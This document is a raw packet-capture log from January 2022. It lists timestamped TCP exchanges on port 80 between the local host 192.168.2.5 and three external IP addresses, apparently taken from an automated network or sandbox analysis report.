Jan 4, 2022 19:33:29.147516966 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.149477959 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.149561882 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.151365042 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.153479099 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.153542995 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.155322075 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.158894062 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.158951044 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.159070969 CET	80	49823	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.159353018 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.161298990 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.161362886 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.162281036 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.164367914 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.164444923 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.166340113 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.168374062 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.170278072 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.170339108 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.171333075 CET	80	49824	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.171468973 CET	49824	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.171513081 CET	49824	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.171519041 CET	49824	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.235881090 CET	80	49824	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.246445894 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.248372078 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.248766899 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.250369072 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.252489090 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.252718925 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.254312038 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.256320953 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.256387949 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.258369923 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.260340929 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.260442972 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.262335062 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.264324903 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.265934944 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.266293049 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.268352032 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.269299984 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.269364119 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.271327019 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.271403074 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.273334026 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.275357962 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.275450945 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.277316093 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.279334068 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.279439926 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.281357050 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.283304930 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.284061909 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.285316944 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.287442923 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.287513018 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.289366007 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.291407108 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.291928053 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.293322086 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.294543028 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.295625925 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.296452045 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.298933983 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.299021006 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.300352097 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.302628994 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.303684950 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.305401087 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.307293892 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.307409048 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.308293104 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.310040951 CET	80	49824	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.310278893 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.310399055 CET	49824	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.310434103 CET	49824	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.310440063 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.312314987 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.314323902 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.314426899 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.316313028 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.318320990 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.318407059 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.320280075 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.322408915 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.323642969 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.324522972 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.326358080 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.326432943 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.327349901 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.329421043 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.329643011 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.331444025 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.333581924 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.335000038 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.335424900 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.336153030 CET	49825	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.337335110 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.337421894 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.377456903 CET	80	49824	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.402371883 CET	80	49825	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.402493954 CET	49825	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.402605057 CET	49825	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.402618885 CET	49825	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.413444996 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.415323973 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.415420055 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.417323112 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.419306993 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.420025110 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.421293974 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.423305988 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.423834085 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.424361944 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.426322937 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.426408052 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.429316044 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.431358099 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.431447029 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.433309078 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.435347080 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.436041117 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.437320948 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.439380884 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.439460993 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.441402912 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.442323923 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.442446947 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.444313049 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.446310997 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.446405888 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.448308945 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.449299097 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.449390888 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.449445963 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.473440886 CET	80	49825	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.550601006 CET	80	49825	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.551141024 CET	49825	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.557583094 CET	49825	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.580662966 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.612457037 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.626919985 CET	80	49825	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.643965960 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.645018101 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.645165920 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.708472013 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.709928036 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.709971905 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710012913 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710050106 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710059881 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.710097075 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710151911 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710171938 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.710205078 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710220098 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.710249901 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710288048 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.710311890 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.710325956 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.712055922 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.773741007 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.773791075 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.773829937 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.773868084 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.773880005 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.773905993 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.773945093 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.773962975 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.773993969 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.773997068 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.774034977 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774065971 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774105072 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774106979 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.774144888 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774183035 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774202108 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.774223089 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774240017 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.774261951 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774302006 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774326086 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.774343014 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.774405956 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.775175095 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.775218010 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.775254965 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.775290012 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.775295019 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.776101112 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.837866068 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.837944984 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838006020 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838064909 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838078976 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838124990 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838181973 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838186979 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838242054 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838295937 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838300943 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838361979 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838419914 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838423014 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838478088 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838535070 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838536024 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838597059 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838649035 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838649988 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838701963 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838756084 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838758945 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838819027 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838864088 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838882923 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838901997 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838942051 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.838957071 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.838999033 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839051962 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839059114 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839116096 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839168072 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839176893 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839238882 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839296103 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839296103 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839334011 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839373112 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839385033 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839415073 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839452982 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839468002 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839493036 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839531898 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839546919 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839570045 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839572906 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839608908 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839647055 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839684963 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839699030 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839723110 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839730024 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839761019 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839799881 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.839812994 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.839838982 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.840092897 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.912630081 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.912686110 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.912734032 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.912775993 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.912798882 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.912828922 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.912830114 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.912889004 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.912939072 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.912952900 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.912986040 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.913036108 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.913083076 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.913089991 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.913127899 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.913172007 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.913186073 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.913219929 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.913270950 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.913276911 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.913506985 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.914072037 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914107084 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914139986 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914171934 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914175034 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.914203882 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914237022 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.914237022 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914269924 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914288044 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.914303064 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914338112 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914362907 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914387941 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914413929 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914439917 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.914565086 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915488005 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915524006 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915555000 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915580988 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915589094 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915617943 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915625095 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915657043 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915689945 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915709972 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915723085 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915739059 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915754080 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915786982 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915819883 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915837049 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915853024 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915868044 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915887117 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915919065 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.915956020 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.915965080 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.916011095 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.916059971 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.916066885 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.916105986 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.916155100 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.916163921 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.916204929 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.916254044 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.916261911 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.917160988 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.976423025 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976464987 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976506948 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976546049 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976552010 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.976584911 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976608038 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.976628065 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976653099 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976691961 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976728916 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.976730108 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976756096 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.976768970 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976805925 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976823092 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.976845026 CET	80	49826	91.243.44.130	192.168.2.5
